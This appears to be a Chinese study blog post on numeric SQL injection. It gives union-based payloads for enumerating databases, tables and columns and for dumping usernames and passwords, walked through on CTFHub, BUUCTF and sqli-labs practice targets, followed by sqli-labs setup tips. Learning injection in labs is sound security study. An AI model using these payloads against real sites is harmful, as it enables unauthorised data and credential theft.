1.什么数字型
当后端代码为:
$id=$_GET['id']; $sql="select *from article where id =$id;
#特点:
1.参数没有单/双引号
2.直接把用户输入加到SQL
3.只要输入合法数字、构造SQL语法,就能执行
2.判断是否存在数字型
1.加 and 1=1 (页面正常) 2.加 and 1=2(页面报错/无数据/空白)一正一错说明存在数字型注入
3.解决步骤
1.猜字段数(order by)(n<m)
?id=1 order by n --正常 ?id=1 order by m --报错(说明字段数为m)
2.查显位(union select)
?id=-1 union select 1,2...n(页面显示2、3这类数字,就是可显示位)
3.查库名(database())
?id =-1 union select 1,database()
4.查表名
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='库名'
5.查字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='列名'
6.取数据
id=-1 union select 1,group_concat(字段名) from表名
4.ctfhub(数字型注入)
我们先输入1
给了 select * from news where id =1
我们判断是否存在数字注入,在url栏里先后输入?id =1 and 1=1,
?id=1 and 1=2

两次的结果是一正一错,说明存在数字型注入
接下来我们要猜字段数,先后输入?id=1 order by 1/2/3


发现当我们输入?id=1 order by 3时页面与之前的不一样,说明字段在2
接下来我们就可以查显位,我们尝试输入?id=-1 union select 1,2
我们发现返回了Data:2说明这是可显示位
这样以来我们就可以查库名,输入?id =-1 union select 1,database()
我们发现有个叫sqli的库,接下来我们查看该库的表名?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
在sqli库里面我们发现了有flag的表,我们再看列名id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
最终我们锁定在sqli库的flag表里发现flag并提取数据id=-1 union select 1,group_concat(flag) from flag

5.BUUCTF BUU SQL COURSE 1
我们点击测试新闻1/2/3发现url栏里content/后面的数字在变化,我们猜测是数字型注入


我们猜字数段,在url栏输入1 order by 1/2/3


说明字数段为2,接下来我们查显位,用到语句-1 union select 1,2
说明在2这个字段存在显示位,然后我们查库名-1 union select 1,database()
我们发现一个为news的库,那么接下来我们可以查找该库的表名-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'
我们继续该表的字段名-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='contents'
回头再看看题目发现我们要登录,所以我们需要查看news库里的admin,则-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'
在admin表里面我们发现了,username和password字段,因此我们可以拿出里面的数据然后登录,-1 union select 1,group_concat(username,' ',password) from admin

输入用户名和密码

6.sqli-labs Less-2(数字型注入)
废话少说来感受第二题
我们在URL栏里面输入?id=1/2

说明与数字型有关,具体是不是数字型注入,我们继续验证?id=1 and 1=1/2
当变成1=2时页面报错,所以为数字型注入
接下来我们要猜数字段?id=1 order by 1/2/3/4

当我们输入4的时候页面报错,说明数字段在3,所以我们要查显位?id=-1 union select 1,2 ,3
在3处有显示位(回显),接下来我们要查库名?id=-1 union select 1,database(),3
我们在找到了一个叫security的库==(==?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
==这是数据库里所有的库)==
我们要在security库里查所有的表名?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
里面有3个表,接下来查看所有表的所有字段?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'
在users里面我们发现了username和password,我们最后提取其中的数据
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users

前言:搭建sqli-labs靶场
以phpstudy为例,sqli-labs的GitHub连接https://github.com/Audi-1/sqli-labs.git
![[sqli-labs-master.zip]]
下载好后把sqli-labs文件夹放到phpstudy的网站目录下(WWW)- 打开 sqli-labs 文件夹,找到 sql-connections 目录。
- 用记事本等工具打开
db-creds.inc文件 - 修改文件里的数据库密码(
$dbpass),改成你phpstudy 里 MySQL 数据库的密码(默认通常是root或为空)
可能遇到的问题(1)
你的PHP环境找不到 mysqli_connect() 这个函数,原因是你的phpstudy版本过高
解决方案
1.
- 打开phpstudy面板,找到你当前正在使用的网站。
- 点击网站管理中的 “设置” 或 “管理” 按钮。
- 在弹出的菜单中,找到 “PHP扩展” 或类似的选项卡。
- 在列表中找到
mysqli,确保它前面的复选框是勾选状态。 - 保存设置,并重启你的Web服务器(Apache或Nginx)。
- 刷新浏览器页面,看看错误是否消失。
2.降低php版本(可能会影响其他的项目)
- 在phpstudy面板的 “环境” 或 “PHP版本管理” 中。
- 安装并切换到 PHP 5.6.x 版本。
- 重启Web服务器。
可能遇到的问题(2)
PHP代码尝试连接名为 security 的数据库,但是连接失败了。这是搭建sqli-labs时非常经典的问题,解决起来也很简单
在WWW文件夹下创建一个test2.php的文件
`<?php
include("sqli-labs-master/sql-connections/db-creds.inc");
echo "尝试连接MySQL服务器...
";
host, dbpass);
if (!$con1) {
die("连接失败!错误信息:" . mysqli_connect_error());
} else {
echo "✅ MySQL服务器连接成功!
";
echo "尝试选择数据库:{$dbname}<br>";
$db_selected = mysqli_select_db($con1, $dbname);
if (!$db_selected) {
echo "❌ 选择数据库失败!<br>";
echo "错误信息:" . mysqli_error($con1) . "<br><br>";
echo "正在检查数据库是否存在...<br>";
$result = mysqli_query($con1, "SHOW DATABASES LIKE '{$dbname}'");
if (mysqli_num_rows($result) > 0) {
echo "✅ 数据库 '{$dbname}' 存在,但无法选择。可能有权限问题。<br>";
} else {
echo "❌ 数据库 '{$dbname}' 不存在!需要创建。<br>";
echo "尝试创建数据库...<br>";
if (mysqli_query($con1, "CREATE DATABASE {$dbname}")) {
echo "✅ 数据库创建成功!<br>";
} else {
echo "❌ 创建失败:" . mysqli_error($con1) . "<br>";
}
}
} else {
echo "✅ 成功选择数据库:{$dbname}<br>";
}
mysqli_close($con1);
} ?>`
评论区
评论加载中...